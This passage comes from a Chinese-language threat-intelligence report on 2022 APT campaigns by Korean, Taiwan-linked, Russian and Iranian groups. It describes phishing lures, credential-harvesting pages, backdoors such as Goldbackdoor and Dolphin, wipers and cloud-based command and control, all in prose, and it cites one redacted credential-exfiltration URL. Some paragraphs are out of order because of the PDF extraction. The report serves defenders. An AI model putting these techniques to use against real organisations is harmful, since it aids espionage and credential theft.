powershell 脚本启动并打开一个诱饵文档以分散注意
力，同时在后台解码第二个脚本。第二个脚本下载并执
行后门程序 Goldbackdoor，用以接受远程命令并窃取
数据。

除此，还有利用远程模版注入技巧窃取账号密码的手法，
例如在今年 11 月份捕捉到该组织利用话题“首尔龙山
梨泰院事故”针对韩国发起鱼叉式钓鱼攻击，诱导用户
输入凭据：

在 目 标 人 员 输 入 凭 据 后， 将 凭 据 发 送 到“https://
m s - x x x x x x x . c o m : 4 4 3 / t e m p l a t e s - x x x - w o r d /
download?id=TYV6YAYWOPEKI61Y”， 随后下载 富 文

本文档并展示给受害人员，根据公开的信息，Group123
还 在 上 述 攻 击 中 的 后 续 阶 段 使 用 了 针 对 Internet 
Explorer 浏览器的 CVE-2022-41128 漏洞。
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4. 绿斑

“绿斑”组织是疑似具备台湾地区政治背景且长期针对
大陆境内目标的 APT 组织，根据微步情报局监测发现，
其网络攻击活动涉及的行业包括政府、国防军工、航空
航天、国家智库、医疗疫苗、高新科研、能源、贸易等
领域。虽然整体攻击手法较为单一，但涉及到的攻击目
标中基本事关国家安全、稳健发展的职能或研究单位 /
部门，具备极高的国家战略价值。

“绿斑”的攻击人员在初期会针对其攻击目标大范围采
集 邮 箱 登 陆 凭 证 信 息， 然 后 将 采 集 到 的 登 录 凭 证 信 息
进行高价值行业和对象筛选，用于后期的高信誉鱼叉式
钓鱼攻击。在相关的攻击中，“绿斑”会根据攻击目标
定位的精准度、对象需求和切合度等评估投放钓鱼内容，
旨在窃取邮箱账密和进行情报收集。

在今年的攻击活动中，“绿斑”“曾以与科研相关的可
持 续 发 展 的 亚 洲 与 世 界 2022 年 度 报 告”、“2022 一
带一路暨金砖大赛之金融科技综合能力赛项选拔赛的通
知”和“基金评议通知－面上项目－请于 10 月 11 日前
提交”等主题为诱饵，仿冒高校邮箱登陆页面针对中国
大陆高校进行定向攻击；还以“加快广东省制造业数字
化转型研究”、“二十大代表选举名册”等主题的诱饵
文件，仿冒腾讯和 163 邮箱的登陆页面针对科研机构和
政府单位发起钓鱼攻击。

诱导受害者修改密码以获取新密码：

向筛选到的高价值目标发送钓鱼邮件：

根 据 以 往 观 察 到 的 活 动， 该 组 织 通 常 使 用 支 持 键 盘 记
录、剪贴板监控、窃取浏览器隐私信息、上传文件、下
载 / 执行进一步有效载荷的后门程序，例如 ROKRAT，
BLUELIGHT。这些后门程序滥用云存储服务，特别是
Google Drive 来进行 C&C 通信。

另外值得一提的是，研究人员在今年披露了 Group123
组 织 使 用 的 一 个 新 后 门， 并 将 其 命 名 为 Dolphin， 该
后门具有广泛的间谍功能，具备包括监控驱动器、便携
式设备以及文件窃取、键盘记录、屏幕截图以及从浏览

器 窃 取 凭 据 的 功 能， 研 究 人 员 已 经 观 察 到 多 个 版 本 的
Dolphin，这说明攻击者不断的改进后门功能并试图逃
避检测。

Group123 善于使用云服务进行命令和控制，使得基于
网络的检测变得更加困难，且使用 Ruby 和 Python 等
脚本语言，巧妙的用来混淆实际的恶意软件，这些技术
可以有效的加载恶意软件以逃避检测，可以预见的是，
在未来的时间里 Group123 使用的攻击组件将会持续迭
代更新。
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随着绿斑组织的钓鱼手法迭代更新，除了仿冒攻击对象的官方登陆平台与网易云邮箱、qq 中转站、新浪邮箱进行钓
鱼攻击外，今年还发现绿斑组织在 url 方面也有了变化，在钓鱼域名后新增了 uri，只有拼接正确的 uri 才能打开钓
鱼链接。

1、没有 uri 的钓鱼链接

绿斑使用了一贯的钓鱼链接，钓鱼页面仿照真实的网站进行部署，向目标群体发送带有钓鱼链接的邮件，当用户成功
输入用户名和密码之后将数据发送到本地的“xxx.php”进行保存（如：“.copy.php”、“login.php”、“login2.
php”等），随后跳转到正常网站或下载无毒文档。下面是部分案例：

国家无线电检测中心：

从目前检测到的攻击情报上分析判断，台湾地区情报机构无论目的是采集邮箱情报信息还是投放窃密木马，都是依托
钓鱼邮件方式将采集邮箱信息的钓鱼链接投送到攻击目标。

在微步情报局今年捕获到的”绿斑”钓鱼链接中有 54.6% 没有具备明显的定向性， 55.4% 的钓鱼链接中根据行业进
行划分，攻击范围从地域或行业领域上划分广泛，攻击对象排名首位的是高校，占比 24.4%，其次是军工单位，占
比为 17.0%。

2、有 uri 的钓鱼链接

以闽台乡建乡创融合为话题发起钓鱼攻击：
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东欧

2022 年，在俄乌战争背景加持下，俄语系 APT 组织频
繁发起各类网络攻击活动。较往年攻击活动而言，2022
年 俄 语 系 APT 组 织 攻 击 目 标 更 加 专 注、 攻 击 手 法 及
目 的 更 趋 近 于 网 络 战 属 性。 以 SandWorm、APT28、
APT29、Turla、Gamaredon、SaintBear 为 代 表 的
俄语系 APT 组织攻击目标主要集中在战争敌对国乌克
兰 以 及 政 治 立 场 敌 对 的 各 北 约 成 员 国， 在 对 乌 攻 击 活

动 中， 诸 如 数 据 擦 除 器、ICS 工 控 系 统 定 制 木 马 等 特
种武器的使用均有别于传统 APT 攻击事件体现出用于
打 击 报 复 目 标 网 络 系 统 的 军 事 目 的。 此 外， 从 捕 获 披
露的各攻击事件来看，俄语系 APT 组织逐渐青睐于使
用 CobaltStrike、BruteRatel 等 成 熟 的 红 队 渗 透 工 具，
基于此类工具开展高频次的网络间谍活动。

1. SandWorm

SandWorm 是一个疑似具有俄罗斯总参部 GRU 情报局
旗下 74455 部队背景的 APT 组织，该组织最早于 2009
年开始活跃，主要攻击目标为北约国家的政府、军工、
能源等机构，具备工控系统、IOT 设备等多系统的网络
攻击能力。从 2019 年开始，该组织一度低调隐匿，直
到 2022 年俄乌战争开始，SandWorm 才重新回归网络
攻击战场。

据 国 内 外 安 全 机 构 披 露， 大 众 广 为 关 注 的 Hermetic 

W i p e r 、 F o x B l a d e  W i p e r 、 C a d d y W i p e r 、
Industroyer2 等 系 列 特 种 网 络 战 武 器 均 出 自
SandWorm 组 织。 在 对 乌 特 定 目 标 攻 击 活 动 中， 当
SandWorm 渗入目标系统即会释放此类武器库木马，
通过覆写目标主机磁盘系统或精准操控目标工控系统最
终对目标主机实现不可逆的攻击破坏。SandWorm 是
一 支 极 具 代 表 性 的 基 于 网 络 通 道 执 行 军 事 打 击 任 务 的
APT 组织。
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2. APT29

APT29，疑似归属于俄罗斯联邦对外情报局（SVR），
2015 年由 FireEye 披露，最早活动时间可追溯至 2008
年。 其 攻 击 目 标 覆 盖 全 球 较 多 地 区 和 国 家， 主 要 攻 击
目 标 为 包 含 美 国、 英 国 等 在 内 的 北 约 成 员 国 以 及 欧 洲
地域邻近国家，具体攻击行业目标为政府实体、科研机
构、智库、军工单位、高技术企业、教育机构、医疗机构、
通信基础设施供应商等。

3. APT28

APT28 疑似具备俄罗斯背景，至少自 2004 年开始活跃
至今。其攻击目标基本与 APT29、Turla 重合，侧重于
发动政治情报间谍攻击活动。

较 2021 年 而 言，APT28 攻 击 活 动 有 所 收 敛。2022 年，
APT28 对战争敌对国乌克兰以及巴勒斯坦等地缘国家发

此外，2022 年曝光的 APT29 后渗透攻击组件 MagicWeb 可针对性绕过 AD FS 服务器并窃用高权限令牌实施后续恶
意渗透行为。

2022 年，APT29 对希腊、土耳其等国家政府部门发起
多次鱼叉邮件攻击，攻击者习惯使用 html 走私技术投
递 ISO 或 IMG 类攻击载荷，攻击载荷多为打包的白利
用套件，最终内存加载 CobaltStrike 或 BruteRatelC4
渗透木马实现初步落地侦察目的。

起多次鱼叉邮件攻击，攻击者开始使用攻击失陷站点作
为 C&C 服 务 器。 在 2022 年 的 攻 击 活 动 中，APT28 还
投入一款使用 .Net 开发名为 DocumentSaver 的窃密
木马组件，使用前期窃取的邮箱作为 C&C 回传收集的
中马侧主机的浏览器 cookie、登录凭据等敏感信息。
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4. Turla

Turla，也被称为 Snake，Venomous Bear、WhiteBear 
Waterbug、Uroboros 等， 是 一 个 疑 似 具 有 俄 罗 斯 政
府背景的 APT 组织，该组织疑似归属于俄罗斯联邦安
全局 FSB，最早活动时间约为 2004 年。自活动至今，
Turla 组织发起的攻击活动中的受害者涉及地域已超过
45 个国家，其攻击目标包括政府机构、大使馆、国际组织、
军队、高等教育机构、科研机构、制药公司等等。其最
终攻击目的为情报刺探，通过一系列网络间谍活动窃取
目标单位敏感情报信息。

2022 年，Turla 组 织 对 奥 地 利 经 济 商 会、 北 约 电 子 学
习平台以及波罗的海国防学院等东欧实体机构开展网络
间谍活动。攻击者投入使用的钓鱼资产域名刻意模仿目
标机构官方域名。此外，2022 年，安全机构首次披露
Turla 使 用 Cyber  Azov、StopWar 等 Android 端 间 谍
程序，移动端木马用于攻击乌克兰军队窃取军事情报。

5. Gamaredon

Gamaredon 是一个疑似具有俄罗斯背景的 APT 组织，
至少自 2013 年以来一直活跃，其攻击目标主要为以乌克
兰为主的俄罗斯欧洲地域邻国的政府机构。2022 年，在
俄乌战争背景下，Gamaredon 继续保持高频次的攻击态
势。区别于其他俄语系 APT 组织，Gamaredon 攻击方

基于我们掌握的丰富的 Gamaredon 攻击数据，该组织的定位偏向于是一支服务于其他俄语背景 APT 组织的基础分支
机构，主要负责开展日常泛散的邮件渗透工作。

式单一且攻击能力较为一般，均为大批量的鱼叉邮件攻击，
攻击者常使用 lnk、sfx 自解压类型的攻击载荷，初始落
地攻击木马多为简单下载器或 VNC 远控工具。
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6. SaintBear

SaintBear APT 组织，疑似具有俄罗斯背景，2021 年
7 月由微步在线披露，最早活动时间可追溯至 2020 年
7 月。其攻击目标为以格鲁吉亚、乌克兰为主的俄罗斯
西南方向的欧洲国家，涉及行业目标包括政府机构、军
队等，除此之外还包括密币等相关企业机构。

受 俄 乌 战 争 影 响，2022 年 上 半 年，SaintBear 组 织 对

乌克兰开展了大量鱼叉邮件攻击，攻击目标覆盖政府、
军工、银行、教育、能源、乌克兰驻外使馆等各个行业
领域。从投入使用的网络武器库来看，SaintBear 开发
并使用 Go Elephant 框架木马插件，在部分网络间谍
活 动 中，SaintBear 还 投 入 使 用 了 CobaltStrike 渗 透
工具。
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中东

近年来，中东地区的高层互访与首脑峰会不断增多，表
明 不 同 国 家 之 间 的 外 交 活 动 越 来 越 频 繁。 以 色 列 与 一
些阿拉伯国家之间的建交，被视为中东局势缓和的重要
标志。但是，这种缓和只是表面现象，并不意味着真正
的稳定。美国与伊朗之间深层次的矛盾仍然存在，伊核
谈判也迟迟未能取得实质性进展。尽管中东地区的局势
表面上看起来有所缓和，但实际上这只是各方出于利益

驱动而集体行动的结果。只有当各方完全放弃意识形态
斗争和地缘政治对抗，才能为中东地区建立长久的和平
基础。然而，这一过程将是艰难而漫长的。因此，中东
局势很可能会愈加极化和脆弱，所以今年中东网络攻击
活 动 仍 然 频 繁， 攻 击 方 式 和 武 器 库 也 层 出 不 穷， 例 如
APT35、 双 尾 蝎、APT34、APT33 和 Muddywater 等
所熟悉的中东 APT 组织。

1. APT35

APT35 是 疑 似 伊 朗 国 家 支 持 的 APT 组 织， 又 名 
Charming Kitten、TA453 或 Phosphorus，已经活跃
了近 10 年，以欧洲、中东、美国和其他国家 / 地区的
能源、政府和技术部门的组织为目标，曾涉嫌参与干涉
美国总统大选、针对北美和中东的组织官员的网络攻击
活动。在披露核弹级漏洞 Log4j 仅四天，就被研究人员
发现 APT35 使用 Log4j 漏洞分化新的攻击模块，这也
不是 APT35 第一次使用漏洞进行攻击，在去年曾披露
过 APT35 使用 Exchange 漏洞和 Fortinet 漏洞进行攻击，

使用 bitlocker 加密网络设备，今年 APT35 依旧使用更
多漏洞组合进行攻击，在漏洞攻击成功后，利用恶意样
本在失陷服务器上创建新的用户账户，使用 RDP 访问，
释放相关脚本下载反向代理工具 FRPC 修改版，通过配
置信息连接到攻击者服务器，并收集本地服务器和域控
信息，采集登录存储凭据等。通过我们观察到的视野发现，
今年 APT35 的攻击目标更为广泛，采用广撒网式漏洞
攻击，包括部分国内服务器也遭受到 APT35 的攻击。

2. 双尾蝎

双尾蝎（APT-C-23）组织至少 2016 年 5 月起活跃至今，
长期对巴勒斯坦教育机构、军事机构等重要领域展开有
组织、有计划、有针对性的网络间谍活动，背后的攻击
者疑似具备中东背景。攻击活动中至少涉及 Windows
与 Android 双平台，投递的诱饵主要伪装成文档、播放
器、聊天软件以及一些特定领域常用软件，通过鱼叉或
水坑等攻击方式配合社会工程学手段进行渗透，向特定
目标人群进行攻击。今年双尾蝎组织升级了相关武器库，
并且依旧在 Windows 和 Android 双平台活跃，值得一
提的是，以往双尾蝎的攻击活动似乎都是针对中东讲阿

拉伯语的人群，但今年被发现针对以色列人进行新攻击
活动，目标人员包括政府、军事和紧急服务工作的以色
列 个 人。 攻 击 者 使 用 新 恶 意 软 件 Barbie 和 BarbWire 
Windows 后 门 和 VolatileVenom Android 变 种 升 级
版 进 行 攻 击， 通 过 建 立 运 营 虚 假 的 Facebook 个 人 账
号，这些账号大多数使用虚假的女性身份个人资料和关
注喜欢一些以色列人熟知的 Facebook 群组、网站和政
客 等。 在 获 取 受 害 者 信 任 后， 会 由 Facebook 转 移 到
WhatsApp，并诱导受害者下载色情 App 或者软件，实
际上为相关平台木马后门。
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微步情报局，即微步在线研究响应团队，负责微步在线
安全分析与安全服务业务，主要研究内容包括威胁情报
自动化研发、高级 APT 组织 & 黑产研究与追踪、恶意
代码与自动化分析技术、重大事件应急响应等。

微步情报局由精通木马分析与取证技术、Web 攻击技
术、溯源技术、大数据、AI 等安全技术的资深专家组
成，并通过自动化情报生产系统、云沙箱、黑客画像系
统、威胁狩猎系统、追踪溯源系统、威胁感知系统、大
数据关联知识图谱等自主研发的系统，对微步在线每天
新增的百万级样本文件、千万级 URL、PDNS、Whois
数据进行实时的自动化分析、同源分析及大数据关联分
析。微步情报局自设立以来，累计率先发现了包括数
十个境外高级 APT 组织针对我国关键基础设施和金融、
能源、政府、高科技等行业的定向攻击行动，协助数百
家各个行业头部客户处置了肆虐全球的 WannaCry 勒
索 事 件、BlackTech 定 向 攻 击 我 国 证 券 和 高 科 技 事 件、
海莲花长期定向攻击我国海事 / 高科技 / 金融的攻击活
动、OldFox 定向攻击全国上百家手机行业相关企业的
事件。

团队简介
微步情报局

Team Introduction
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API

TIP

Webshell

OneSEC

OneEDR®

OneRisk OneSIG

OneDNS® 




